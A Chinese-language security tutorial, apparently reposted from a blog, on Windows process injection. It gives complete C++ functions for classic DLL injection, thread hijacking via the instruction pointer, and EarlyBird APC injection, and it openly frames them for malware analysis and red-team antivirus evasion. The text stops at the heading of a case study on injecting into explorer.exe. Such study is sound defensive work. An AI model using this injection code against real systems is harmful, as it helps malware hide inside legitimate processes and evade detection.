文章总结: 本文详细介绍了三种核心进程注入技术:经典DLL注入通过在目标进程中分配内存并创建远程线程加载恶意DLL;线程劫持通过暂停目标线程、修改指令指针RIP来执行shellcode;EarlyBirdAPC注入则在创建挂起进程的主线程中插入APC实现先于主程序执行恶意代码。文章提供了完整的C++代码实现与实战案例,适合安全研究人员深入理解恶意软件行为机理与红队免杀技术。 综合评分: 72 文章分类: 二进制安全,免杀,红队,漏洞分析,安全开发
进程操作技术(下)——进程注入与线程劫持
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年3月24日 08:30 广东
在小说阅读器读本章
去阅读
一、前言概述
在上篇文章中,我们学习了进程镂空技术。本课将继续深入探讨进程操作技术,重点介绍进程注入、线程劫持和EarlyBird APC注入等技术。这些技术是现代恶意软件和红队工具的核心组成部分,理解它们对于攻防双方都至关重要。
二、相关内容
2.1 进程注入(Process Injection)
2.1.1 技术原理
进程注入是将恶意代码注入到一个正在运行的合法进程中,以利用其权限和信誉,隐藏恶意行为。
2.1.2 经典DLL注入
流程:
1. 打开目标进程 OpenProcess()
2. 在目标进程中分配内存 VirtualAllocEx()
3. 写入DLL路径 WriteProcessMemory()
4. 获取LoadLibrary地址 GetProcAddress()
5. 创建远程线程 CreateRemoteThread()
6. 等待线程完成 WaitForSingleObject()
代码实现:
void ClassicDLLInjection(DWORD pid, const char* dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteMemory, dllPath, pathLen, NULL);
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
remoteMemory, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
2.2 线程劫持(Thread Hijacking)
原理:
- 暂停目标线程
- 保存线程上下文
- 修改指令指针指向恶意代码
- 恢复线程执行
代码实现:
void ThreadHijacking(DWORD pid, DWORD tid, unsigned char* shellcode, SIZE_T shellcodeSize) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
SuspendThread(hThread);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL);
ctx.Rip = (DWORD64)remoteMemory;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
}
2.3 EarlyBird APC注入
原理:
- 创建挂起的进程
- 在进程的主线程中插入APC
- 恢复线程时,APC会先于主程序执行
代码实现:
void EarlyBirdAPCInjection(const char* targetProcess, unsigned char* shellcode, SIZE_T shellcodeSize) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA(NULL, (LPSTR)targetProcess, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)remoteMemory, pi.hThread, 0);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
2.4 实战案例分析
2.4.1 案例1:经典DLL注入到explorer.exe
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《进程操作技术(下)——进程注入与线程劫持》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论